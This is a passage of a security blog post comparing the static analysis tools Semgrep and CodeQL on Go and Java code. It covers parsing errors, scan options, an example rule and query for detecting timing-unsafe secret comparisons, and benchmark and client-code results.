&lt;p&gt;We encountered an issue when testing against third-party code where a custom function (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exit()&lt;/code&gt;) was declared and used, despite being reserved, causing the parser to fail once the function was reached, due to invalid syntax. The two notable things here are that the code should theoretically not work properly and that despite this, Semgrep was still able to perform a partial examination. Semgrep excelled in terms of the ability to handle incomplete code or code with errors as it operates on a single file scope generally.&lt;/p&gt;

&lt;h5 id=&quot;codeql-1&quot;&gt;CodeQL:&lt;/h5&gt;
&lt;p&gt;CodeQL works a bit differently, in that it effectively creates a database from the code, allowing you to then write queries against that database to locate vulnerabilities. In order for it to do this, it requires a fully buildable application. This inherently means that it must be more strict with its ability to parse all the code.&lt;/p&gt;

&lt;p&gt;In our testing, CodeQL generated errors on the majority of files that it had findings for (partial parsing at best), and almost none were analyzed without errors. Roughly 85% of files generated some errors during database creation.&lt;/p&gt;

&lt;p&gt;According to CodeQL, a small number of extraction errors is normal, but a large number is not. It was unclear how to reduce the large number of extraction errors. According to CodeQL’s documentation, the only ways were to wait for CodeQL to release a fixed version of the extractor or to debug using the logs. We attempted to debug with the logs, but the error messages were not completely clear and it seemed that the two most common errors were related to the package names declared at the top of the files and variables being re-declared. It was not completely clear if these errors were due to an overly strict extractor or if the code being tested was incomplete.&lt;/p&gt;

&lt;p&gt;Semgrep would seem to have the advantage here, but it’s not a completely fair comparison, due to the different modes of operation.&lt;/p&gt;

&lt;h3 id=&quot;prepost-scan-options&quot;&gt;Pre/post scan options&lt;/h3&gt;

&lt;h5 id=&quot;semgrep-2&quot;&gt;Semgrep:&lt;/h5&gt;
&lt;p&gt;Among the options you can select when firing up a Semgrep scan are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Choosing which rules, or groups of rules, to run, or allowing automatic selection
    &lt;ul&gt;
      &lt;li&gt;Semgrep registry rules (remote community and r2c created; currently 973 rules)&lt;/li&gt;
      &lt;li&gt;Local custom rules and/or “ephemeral” rules passed as an argument on the command line&lt;/li&gt;
      &lt;li&gt;A combination of the above&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Choosing which languages to examine&lt;/li&gt;
  &lt;li&gt;A robust set of filtering options to include/exclude files, directories and specific content&lt;/li&gt;
  &lt;li&gt;Ability to configure a comparison baseline (find things not already in commit X)&lt;/li&gt;
  &lt;li&gt;Whether to continue if errors or vulnerabilities are encountered&lt;/li&gt;
  &lt;li&gt;Whether to automatically perform fixes by replacing text and whether to perform dry runs to check before actually changing&lt;/li&gt;
  &lt;li&gt;The maximum size of the files to scan&lt;/li&gt;
  &lt;li&gt;Output formats&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notes:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;While the tool does provide an automated scanning option, we found situations in which &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-–config auto&lt;/code&gt; did not find all the vulnerabilities that manually selecting the language did.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The re-use/tracking of the scan results requires using Semgrep CI or Semgrep App.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&quot;codeql-2&quot;&gt;CodeQL:&lt;/h5&gt;
&lt;p&gt;CodeQL requires a buildable application (i.e., no processing of a limited set of files), with a completely different concept of “scanning”, so this notion doesn’t directly translate. In effect, you create a database from the code, which you subsequently query to find bugs, so much of the “filtering” can be accomplished by modifying the queries that are run.&lt;/p&gt;

&lt;p&gt;Options include:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Specifying which language(s) to process
    &lt;ul&gt;
      &lt;li&gt;The CodeQL repository contains libraries and specific queries for each language&lt;/li&gt;
      &lt;li&gt;The &lt;a href=&quot;https://github.com/github/codeql-go/tree/lgtm.com/ql/src/Security&quot;&gt;Security folder&lt;/a&gt; contains (21) queries for various CWEs&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Which queries to run&lt;/li&gt;
  &lt;li&gt;Location of the files&lt;/li&gt;
  &lt;li&gt;When the queries are run on the resulting database you can specify the output format&lt;/li&gt;
  &lt;li&gt;Adjustable verbosity when creating the database(s)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because CodeQL creates a searchable database, you can indefinitely run queries against the scanned version of the code.&lt;/p&gt;

&lt;p&gt;Because of the different approaches it is difficult to say one tool has an advantage over the other. The most significant difference is probably that Semgrep allows you to automatically fix vulnerabilities.&lt;/p&gt;

&lt;h3 id=&quot;rules&quot;&gt;Rules&lt;/h3&gt;

&lt;p&gt;As mentioned previously, these tools take completely different approaches (i.e., rules vs queries). Whether someone prefers writing queries vs. YAML is subjective, so we’ll not discuss the formats themselves specifically.&lt;/p&gt;

&lt;h5 id=&quot;semgrep-3&quot;&gt;Semgrep:&lt;/h5&gt;

&lt;p&gt;As primarily a string-matching static code analysis tool, Semgrep’s accuracy is mostly driven by the rules in use and their modes of operation. Semgrep is probably best thought of as an improvement on the Linux command line tool &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt;. It adds improved ease of use, multi-line support, metavariables and taint tracking, as well as other features that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; directly does not support. Beta features also include the ability to track across related files.&lt;/p&gt;

&lt;p&gt;Semgrep rules are defined in relatively simple YAML files with only a handful of elements used to create them. This allows someone to &lt;strong&gt;become reasonably proficient with the tool in a matter of hours&lt;/strong&gt;, after reading the documentation and tutorials. At times, the tool’s less than full comprehension of the code can cause rule writing to be more difficult than it might appear at first glance.&lt;/p&gt;

&lt;p&gt;In Semgrep, there are several ways to execute rules, either locally or remotely. Additionally, you can pass them as command line arguments referred to as “ephemeral” rules, eliminating the YAML files altogether.&lt;/p&gt;

&lt;p&gt;The rule below shows an example of a reasonably straightforward rule. It effectively looks for an insecure comparison of something that might be a secret within an HTTP request.&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;insecure-comparison-taint&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;&amp;gt;-&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;User input appears to be compared in an insecure manner that allows for side-channel timing attacks. &lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;severity&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ERROR&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;languages&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;go&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;security&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;taint&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;pattern-sources&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern-either&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;($ANY&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*http.Request)&quot;&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;($ANY&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;http.Request)&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;pattern-sinks&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;patterns&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern-either&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; 
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$SECRET&quot;&lt;/span&gt;
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$SECRET&quot;&lt;/span&gt;
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$SECRET&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;...&quot;&lt;/span&gt;
            &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$SECRET&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;...&quot;&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;pattern-not&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;len(...) == $NUM&lt;/span&gt;
          &lt;span class=&quot;c1&quot;&gt;#- pattern-not: &amp;lt;... len(...) ...&amp;gt;&lt;/span&gt;
          &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;metavariable-regex&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;na&quot;&gt;metavariable&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$SECRET&lt;/span&gt;
              &lt;span class=&quot;na&quot;&gt;regex&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;.*(secret|password|token|otp|key|signature|nonce).*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The logic in the rules is familiar and amounts to what feels like stacking of RegExs, but with the added capability of creating boundaries around what is matched against and with the benefit of language comprehension. It is important to note however that Semgrep lacks a full understanding of the code flow sufficient enough to trace source to sink flows through complex code. By default it works on a single file basis, but Beta features also include the ability to track across related files. Semgrep’s current capabilities lie somewhere between basic grep and a traditional static code analysis tool, with abstract syntax trees and control flow graphs.&lt;/p&gt;

&lt;p&gt;No special preparation of repositories is needed before scanning can begin. The tool is fully capable of detecting languages and running simultaneous scans of multiple languages in heterogeneous code repositories. Furthermore, the tool is capable of running on code which isn’t buildable, but the tool will return errors when it parses what it deems as invalid syntax.&lt;/p&gt;

&lt;p&gt;That said, rules tend to be more general than the queries in CodeQL and could potentially lead to more false positives. For some situations, it is not possible to make a rule that is completely accurate without customizing the rule to match a specific code base.&lt;/p&gt;

&lt;h5 id=&quot;codeql-3&quot;&gt;CodeQL:&lt;/h5&gt;

&lt;p&gt;CodeQL’s query language has a SQL-like syntax with the following features:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Logical: all the operations in QL are logical operations.&lt;/li&gt;
  &lt;li&gt;Declarative: provide the properties the results must satisfy rather than the procedure to compute the results.&lt;/li&gt;
  &lt;li&gt;Object-oriented: it uses classes, inheritance and other object oriented features to increase modularity and reusability of the code.&lt;/li&gt;
  &lt;li&gt;Read-only: no side effect, no imperative features (ex. variable assignment).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The engine has extractors for each supported language. They are used to extract the information from the codebase into the database. Multi-language code bases are analyzed one at a time. Trying to specify a list of target languages (go, javascript and c) didn’t work out of the box because CodeQL required to explicitly set the build command for this combination of languages.&lt;/p&gt;

&lt;p&gt;CodeQL can also be used in VSCode as an extension, a CLI tool or integrated with Github workflows. The VS extension code allows writing the queries with the support of the autocompletion by the IDE and testing them against one or more databases previously created.&lt;/p&gt;

&lt;p&gt;The query below shows how you would search for the same vulnerability as the Semgrep rule above.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/**
 * @name Insecure time comparison for sensitive information
 * @description Input appears to be compared in an insecure manner (timing attacks)
 */&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;go&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;EqualityTestExpr&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DataFlow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CallNode&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;called&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// all the functions call where the argument matches the RegEx&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;called&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getAnArgument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;regexpMatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.*(secret|password|token|otp|key|signature|nonce).*&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;and&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getAnOperand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;called&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getExpr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;called&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getExpr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Uses a constant time comparison for sensitive information&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to create a database, CodeQL requires a buildable codebase. This means that an analysis consists of multiple steps: standard building of the codebase, creating the database and querying the codebase. Due to the complexity of the process in every step, our experience was that a full analysis can require a non-negligible amount of time in some cases.&lt;/p&gt;

&lt;p&gt;Writing queries for CodeQL also requires a great amount of effort, especially at the beginning. The user should know the CodeQL syntax very well and pay attention to the structure of the condition to avoid killing the performance. We experienced an infinite compilation time just adding an OR condition in the WHERE clause of a query. Starting from zero experience with the tool, the benefits of using CodeQL are perceivable only in the long run.&lt;/p&gt;

&lt;h3 id=&quot;findings-workflows&quot;&gt;Findings workflows&lt;/h3&gt;

&lt;h5 id=&quot;semgrep-4&quot;&gt;Semgrep:&lt;/h5&gt;
&lt;p&gt;As Semgrep allows you to output to a number of formats, along with the CLI output, there are a number of ways you can manage the findings. They also list some of this information on their &lt;a href=&quot;https://semgrep.dev/docs/managing-findings/&quot;&gt;manage-findings&lt;/a&gt; page.&lt;/p&gt;

&lt;h5 id=&quot;codeql-4&quot;&gt;CodeQL:&lt;/h5&gt;
&lt;p&gt;Because the CodeQL CLI tool reports findings in a CSV or SARIF file format, triaging findings reported by it can be quite tedious. During testing, we felt the easiest way to review findings from the CodeQL CLI tool was to launch the query from Visual Studio Code and manually review the results from there (due to the IDE’s navigation features). Ultimately, in real-world usage, the results are probably best consumed through the integration with GitHub.&lt;/p&gt;

&lt;h3 id=&quot;scan-times&quot;&gt;Scan times&lt;/h3&gt;

&lt;p&gt;Due to the differences between their approaches, it’s difficult to fairly quantify the differences in speed between the two tools. Semgrep is a clear winner in the time it takes to setup, run a scan and get results. It doesn’t interpret the code as deeply as CodeQL does, nor does it have to create a persistent searchable database, then run queries against it. However, once the database is created, you could argue that querying for a specific bug in CodeQL versus scanning a project again in Semgrep would be roughly similar, depending on multiple factors not directly related to the tools (e.g., hardware, language, code complexity).&lt;/p&gt;

&lt;p&gt;This highlights the fact that tool selection criteria should incorporate the use-case.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Scanning in a CI/CD pipeline - speed matters more&lt;/li&gt;
  &lt;li&gt;Ongoing periodic scans - speed matters less&lt;/li&gt;
  &lt;li&gt;Time based consulting work - speed is very important&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;owasp-benchmark-project-results&quot;&gt;OWASP Benchmark Project results&lt;/h3&gt;

&lt;p&gt;This section shows the results of using both of these SAST tools to test the &lt;a href=&quot;https://github.com/OWASP-Benchmark/BenchmarkJava&quot;&gt;same repository of Java code&lt;/a&gt; (the only language option). This project’s sample code had been previously reviewed and categorized, specifically to allow for benchmarking of SAST tools. Using this approach we could relatively easily run a head-to-head comparison and allow the OWASP Benchmark Project to score and graph the performance of each tool.&lt;/p&gt;

&lt;p&gt;Drawbacks to this approach include the fact that it is one language, Java, and that is not the language of choice for our client. Additionally, SAST tool maintainers, who might be aware of this project, could theoretically ensure their tools perform well in these tests specifically, potentially masking shortcomings when used in broader contexts.&lt;/p&gt;

&lt;p&gt;In this test, Semgrep was configured to run with the latest “security-audit” Registry ruleset, per the OWASP Benchmark Project recommendations. CodeQL was run using the “Security-and-quality queries” query suite. The CodeQL query suite includes queries from “security-extended”, plus maintainability and reliability queries.&lt;/p&gt;

&lt;p&gt;As you can see from the charts below, Semgrep performed better, on average, than CodeQL did. Examining the rules a bit more closely, we see three CWE (Common Weakness Enumeration) areas where CodeQL does not appear to find any issues, significantly impacting the average performance. It should also be noted that CodeQL does outperform in some categories, but determining the per-category importance is left to the tool’s users.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/OWASP_Semgrep.png&quot; alt=&quot;Semgrep OWASP Benchmark Project results&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/OWASP_CodeQL.png&quot; alt=&quot;CodeQL OWASP Benchmark Project results&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;cross-tool-test-suite-results&quot;&gt;Cross-tool test suite results&lt;/h3&gt;

&lt;p&gt;This section discusses the results of using the Semgrep tool against the test cases for CodeQL and vice versa. While initially seeming like a great way to compare the tools, unfortunately, the test case files presented several challenges to this approach. While being labeled things like “Good” and “Bad” either in file names or comments, the files were not necessarily all “Good” code or “Bad” code, but inconsistently mixed, inconsistently labeled and sometimes with multiple potential vulnerabilities in the same files. Additionally, we occasionally discovered vulnerabilities in some of the files which were not the CWE classes that were supposed to be in the files (e.g., finding XSS in an SQL Injection test case).&lt;/p&gt;

&lt;p&gt;These issues prevented a simple count based on the files that were/were not found to have vulnerabilities. The statistics we present have been modified as much as possible in the allotted time to account for these issues and we have applied data analysis techniques to account for some of the errors.&lt;/p&gt;

&lt;p&gt;As you can see in the table below, CodeQL performed significantly better with regards to detection, but at the cost of a higher false positive rate as well. This underscores some of the potential tradeoffs, mentioned in the introduction, which need to be considered by the consumer of the output.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/cross-tool.png&quot; alt=&quot;Semgrep/CodeQL cross-tool results&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Notes:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Semgrep’s configuration was limited to only running rules classified as security-related and only against Golang files, for efficiency’s sake.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Semgrep successfully identified vulnerabilities associated with &lt;a href=&quot;https://cwe.mitre.org/data/definitions/327.html&quot;&gt;CWE-327&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/322.html&quot;&gt;CWE-322&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/319.html&quot;&gt;CWE-319&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Semgrep’s results only included two vulnerabilities which were the one intended to be found in the file (e.g., test for X find X). The remainder were HTTPs issues (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/319.html&quot;&gt;CWE-319&lt;/a&gt;) related to servers configured for testing purposes in the CodeQL rules (e.g., test for X but find valid Y instead).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;CodeQL rules for SQL injection did not perform well in this case (&lt;em&gt;~20% detection&lt;/em&gt;), but did better in cross-site scripting and other tests. There were fewer overall rules available during testing, compared to Semgrep, and vulnerability classes like &lt;em&gt;Server Side Template Injection (SSTI)&lt;/em&gt; were not checked for, due to the absence of rules.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Out of 14 files that CodeQL generated findings for, only 2 were analyzed without errors. &lt;em&gt;85%&lt;/em&gt; of files generated some errors during database creation.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;False negative rates can increase dramatically if CodeQL fails to extract data from code. It is essential to make sure that there are not excessive extraction errors when creating a database or running any of the commands that implicitly run the extractors.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;client-code-results&quot;&gt;Client code results&lt;/h3&gt;

&lt;p&gt;This section discusses the results of using the tools to examine an open source Golang project for one of our clients.&lt;/p&gt;

&lt;p&gt;In these tests, due to the aforementioned lack of a priori knowledge of the code’s true security status, we are forced to assume that all files without true positives are free from vulnerabilities and are therefore considered TNs and likewise that there are no FNs. This underscores that testing against code that has already been organized for evaluation can be assumed as more accurate.&lt;/p&gt;

&lt;p&gt;Running Semgrep with the “&lt;em&gt;r2c-security-audit&lt;/em&gt;” configuration, resulted in 15 Golang findings, all of which were true positives. That said, the majority of the findings were related to the use of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsafe&lt;/code&gt; library. Due to the nature of this issue, we opted to only count it as one finding per file, as to not further skew the results, by counting each usage within a file.&lt;/p&gt;

&lt;p&gt;As shown in the table below, both tools performed very well! CodeQL detected significantly more findings, but it should be noted that they were largely the same couple of issues across numerous files. In other words, there were repeated code patterns in many cases, skewing the volume of findings.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/client_code.png&quot; alt=&quot;Semgrep OWASP Benchmark Project results&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;For the purposes of this exercise, &lt;em&gt;TN = Total .go files - TP (890-15) = 875&lt;/em&gt;, since we are assuming all those files are free of vulnerabilities. For the Semgrep case, the value is irrelevant for the rate calculations, since no false positives were found.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Semgrep in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--config auto&lt;/code&gt; mode resulted in thousands of findings when run against our client’s code, as opposed to tens of findings when limiting the scans to security-specific tests on Golang only. We cite this, to underscore that results will vary greatly depending on the code tested and rules applied. That reduction in scope resulted in no false positives during manually reviewed results.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;For CodeQL, approximately 25% of the files were not scanned, due to issues with the tool&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;CodeQL encountered many errors during file compilation. &lt;em&gt;63 out of 74&lt;/em&gt; Go files generated errors while being extracted to CodeQL’s database. This means that the analysis was performed on less data, and most files were only partially analyzed by CodeQL. This caused the CodeQL scan to result in significantly less findings than expected.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Obviously there could be some bias, but if you’d like another opinion, the creators of Semgrep have also provided a &lt;a href=&quot;https://semgrep.dev/docs/faq/#how-are-semgrep-and-its-rules-licensed&quot;&gt;comparison with CodeQL&lt;/a&gt; on their website, particularly in this section : “How is Semgrep different from CodeQL?”.&lt;/p&gt;

